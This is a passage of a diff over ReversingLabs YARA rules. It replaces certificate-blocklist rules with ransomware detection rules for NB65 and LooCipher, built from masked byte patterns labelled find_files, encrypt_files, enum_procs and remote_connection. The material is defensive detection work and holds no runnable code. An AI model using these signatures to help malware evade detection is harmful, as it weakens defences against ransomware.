8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ?? + C7 44 24 ?? ?? ?? ?? ?? 8B 74 24 ?? 89 74 24 ?? 8B 74 24 ?? 89 74 24 ?? E8 ?? ?? ?? + ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 94 24 ?? ?? ?? ?? 89 14 24 8B + 5C 24 ?? 89 5C 24 ?? 8B 2D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 6C 24 + ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 0F 84 ?? ?? ?? ?? 8B + 84 24 ?? ?? ?? ?? 85 C0 0F 86 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 0F B6 08 83 C1 ?? 88 + 4C 24 ?? 0F B6 08 83 C1 ?? 88 4C 24 ?? 8D 0D ?? ?? ?? ?? 89 0C 24 8B 15 ?? ?? ?? ?? + 89 54 24 ?? 8D 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8D 51 ?? 8B + 18 8B 40 ?? 39 C2 0F 8F ?? ?? ?? ?? 89 9C 24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D + } + $find_files_p4 = { + 6C CB ?? 8B 74 24 ?? 89 75 ?? 8B 2D ?? ?? ?? ?? 8D 0C CB 85 ED 75 ?? 8B 6C 24 ?? 89 + 29 8D 05 ?? ?? ?? ?? 89 04 24 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 8D 4C 24 ?? 89 4C 24 ?? + E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 48 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? + ?? 85 C9 75 ?? 8B 8C 24 ?? ?? ?? ?? 89 08 8B 6C 24 ?? 8B 4C 24 ?? 8B B4 24 ?? ?? ?? + ?? E9 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89 + 0C 24 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89 4C 24 ?? 8D 2D ?? ?? ?? ?? 89 + 2C 24 89 5C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 8B + 44 24 ?? 8B 4C 24 ?? 8D 50 ?? 89 C8 8B 4C 24 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? + 89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? + ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B + 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 85 C0 + 0F 86 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 0F B6 08 88 4C 24 ?? 0F B6 08 88 4C 24 ?? 8D + } + $find_files_p5 = { + 0D ?? ?? ?? ?? 89 0C 24 8B 15 ?? ?? ?? ?? 89 54 24 ?? 8D 54 24 ?? 89 54 24 ?? E8 ?? + ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8D 51 ?? 8B 18 8B 40 ?? 39 C2 0F 8F ?? ?? ?? ?? 89 9C + 24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D 6C CB ?? 8B 74 24 ?? 89 75 ?? 8B 2D ?? ?? + ?? ?? 8D 0C CB 85 ED 75 ?? 8B 6C 24 ?? 89 29 8D 05 ?? ?? ?? ?? 89 04 24 8B 0D ?? ?? + ?? ?? 89 4C 24 ?? 8D 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 + 48 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 8B 8C 24 ?? ?? ?? ?? 89 08 + E9 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? + ?? 89 0C 24 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 89 4C 24 ?? 8D 2D ?? ?? ?? + ?? 89 2C 24 89 5C 24 ?? 89 4C 24 ?? 89 44 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 + ?? 8B 44 24 ?? 8B 4C 24 ?? 8D 50 ?? 89 C8 8B 4C 24 ?? E9 ?? ?? ?? ?? 89 AC 24 ?? ?? + ?? ?? 89 8C 24 ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? + C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 8C 24 ?? ?? ?? + ?? 89 84 24 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 E8 + } + $encrypt_files_p1 = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC + ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? + ?? ?? ?? ?? 8B 40 ?? 89 04 24 8D 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 84 + 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8D 15 ?? ?? ?? ?? 39 CA 0F 85 ?? ?? ?? ?? 8B 48 + ?? 89 4C 24 ?? 8B 00 89 84 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 + ?? 8B 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 44 + 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? C6 44 24 ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? + ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 8D 54 24 ?? 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? + 89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8D AC 24 ?? ?? ?? ?? 89 6C 24 ?? 89 4C 24 ?? 89 + 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F + 85 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? C7 44 24 ?? ?? + ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? + 85 D2 0F 85 ?? ?? ?? ?? 89 44 24 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 0D ?? ?? ?? + ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24 + ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 85 D2 0F 85 ?? ?? + ?? ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 + } + $encrypt_files_p2 = { + 85 C0 0F 85 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 54 + 24 ?? 89 54 24 ?? 89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C + 24 ?? 85 C9 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? + 89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? + 8B 5C 24 ?? 85 C9 0F 85 ?? ?? ?? ?? 89 1C 24 89 54 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B + 4C 24 ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? + 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? + ?? 8B 2D ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? + 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24 + ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 89 1C 24 8B 6C 24 ?? 89 6C 24 ?? + 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 + ?? 85 C0 0F 85 ?? ?? ?? ?? 31 C0 EB ?? 8B 4C 24 ?? 8B 54 24 ?? 8D 04 0A 89 44 24 ?? + 8B 4C 24 ?? 89 0C 24 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ?? 8B 6C + 24 ?? 89 6C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B + 54 24 ?? 89 54 24 ?? 85 C9 74 ?? 8B 1D ?? ?? ?? ?? 39 D9 0F 85 ?? ?? ?? ?? 89 0C 24 + } + $encrypt_files_p3 = { + 89 54 24 ?? 8B 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 0F 84 + ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? 89 4C 24 ?? E8 ?? ?? + ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 39 EB 0F 87 ?? ?? + ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 74 24 ?? 8B 7E ?? 89 44 24 ?? 89 4C 24 + ?? 89 54 24 ?? 8B B4 24 ?? ?? ?? ?? 89 74 24 ?? 89 5C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? + 89 2C 24 FF D7 8B 44 24 ?? 8B 48 ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 89 5C 24 ?? + 8B 6C 24 ?? 89 6C 24 ?? 8B 74 24 ?? 89 34 24 FF D1 8B 44 24 ?? 89 04 24 8B 4C 24 ?? + 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 + ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 4C 24 ?? 39 C1 0F 85 ?? ?? ?? ?? 89 + 0C 24 8B 44 24 ?? 89 44 24 ?? 8B 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 0F B6 44 + 24 ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 44 24 ?? B9 ?? ?? ?? ?? F7 E9 8B 44 24 ?? 01 C2 C1 F8 ?? C1 FA ?? 29 C2 89 D0 + 89 D3 F7 E9 8D 04 13 C1 F8 ?? C1 FB ?? 29 D8 83 C0 ?? 89 44 24 ?? 31 C9 EB ?? 8B 54 + 24 ?? 8D 4A ?? 8B 44 24 ?? 39 C1 7D ?? 89 4C 24 ?? 8B 44 24 ?? 89 04 24 8D 0D ?? ?? + ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? 90 + E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 90 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CWI SOFTWARE LTDA" and ( pe.signatures [ i ] . serial == "00:f3:85:e7:65:ac:fb:95:60:5c:9b:35:ca:4c:32:f8:0e" or pe.signatures [ i ] . serial == "f3:85:e7:65:ac:fb:95:60:5c:9b:35:ca:4c:32:f8:0e" ) and 1382313599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_F62C9C4Efc81Caf0D5A2608009D48018 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_NB65 : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects NB65 ransomware." author = "ReversingLabs" - id = "176434ae-7162-5b35-91f7-888536250884" - date = "2020-08-05" - modified = "2023-11-08" + id = "1aba009e-8065-5fb0-98e7-a595cb324076" + date = "2022-06-01" + modified = "2022-06-01" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2730-L2748" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.NB65.yara#L1-L68" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "08fcff795297c0608b1a1d71465279cbf76d4dff06de2a2262a58debbb2f9e0d" + logic_hash = "f8a0e265fc72a9f017b37ce4b6dbb878285a5d298ab1b8c69f9fde7159426981" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "NB65" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + E8 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? + C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? + C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? + C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? + C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8A 45 ?? 80 7D ?? ?? 75 ?? 33 C9 90 8A 44 0D ?? + 0F B6 C0 83 E8 ?? 6B C0 ?? 99 F7 FB 8D 42 ?? 99 F7 FB 88 54 0D ?? 41 83 F9 ?? 72 ?? + 8D 45 ?? 89 45 ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 50 + ?? 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 81 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D0 + 85 C0 75 ?? 33 F6 66 90 A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? + 8D 50 ?? 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 81 ?? ?? ?? ?? FF B4 B5 ?? ?? ?? + ?? 57 FF D0 85 C0 75 ?? 46 83 FE ?? 7C ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 + } + $find_files = { + 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 + 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? + 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? + 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? + ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? + 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? + 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 + } + $enum_procs = { + 33 C9 66 90 8A 84 0D ?? ?? ?? ?? 0F B6 C0 83 E8 ?? 8D 04 C0 99 F7 BD ?? ?? ?? ?? 8D + 42 ?? 99 F7 BD ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? A1 ?? ?? ?? ?? 8B + 40 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 33 D2 33 C9 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 41 + ?? 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? 51 FF D0 85 C0 75 ?? 6A ?? E8 ?? ?? ?? ?? + 83 C4 ?? 85 C0 74 ?? C7 00 ?? ?? ?? ?? 8D 50 ?? 8B 8D ?? ?? ?? ?? 89 08 C7 02 ?? ?? + ?? ?? 8B 4E ?? 89 48 ?? 8B 4E ?? 89 01 89 56 ?? 8D 85 ?? ?? ?? ?? 50 57 FF D3 85 C0 + 0F 85 ?? ?? ?? ?? 5B A1 ?? ?? ?? ?? 8B 40 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 33 D2 33 C9 + E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 41 ?? 57 FF D0 8B 4D ?? 5F 33 CD 5E E8 ?? ?? ?? + ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\x94\\x90\\xE5\\xB1\\xB1\\xE4\\xB8\\x87\\xE4\\xB8\\x9C\\xE6\\xB6\\xA6\\xE6\\x92\\xAD\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE6\\x8A\\x80\\xE6\\x9C\\xAF\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and ( pe.signatures [ i ] . serial == "00:f6:2c:9c:4e:fc:81:ca:f0:d5:a2:60:80:09:d4:80:18" or pe.signatures [ i ] . serial == "f6:2c:9c:4e:fc:81:ca:f0:d5:a2:60:80:09:d4:80:18" ) and 1292889599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $enum_procs ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_Cc8D902Da36587C9B2113Cd76C3C3F8D : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Loocipher : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects LooCipher ransomware." author = "ReversingLabs" - id = "f9e542aa-eaa5-50a5-95dc-fb55f8575c89" - date = "2020-08-05" - modified = "2023-11-08" + id = "b5aa2bd0-72b0-5013-a60e-9b4f1ee1de1f" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2750-L2768" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.LooCipher.yara#L1-L87" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "25e524d23ccc1c06f602a086369ffd44b8c97b76c29f068764081339556b3465" + logic_hash = "aa0598d63b5fad6aea0945a0aa2030d3d6e2cd9f1fea16f3dd17cdceb68323e3" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "LooCipher" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection = { + 6A ?? 83 EC ?? 8B CC 89 A5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 B9 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? + 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 68 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 + 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? E8 + } + $encrypt_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? 53 56 57 8D BD + ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 AB A1 ?? ?? ?? ?? 33 C5 89 45 ?? 50 8D + 45 ?? 64 A3 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B7 4D ?? 3B C1 74 + ?? E8 ?? ?? ?? ?? 8B F0 8D 4D ?? E8 ?? ?? ?? ?? 8B C8 83 E9 ?? 8B C6 33 D2 F7 F1 89 + 55 ?? 6A ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 4D ?? E8 + ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8B 4D ?? + E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C9 ?? 89 8D ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 52 8B CD 50 8D 15 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 5A 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? + 33 CD E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 3B EC E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_files = { + 52 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? B9 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 C0 85 C0 0F 84 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B F4 89 + A5 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 50 ?? 52 8B 00 50 8B CE E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C6 45 ?? ?? B9 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 6A ?? 8D 8D ?? ?? ?? ?? 51 C6 45 ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 + B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? EB ?? 83 EC ?? 8B CC + 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 + B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? 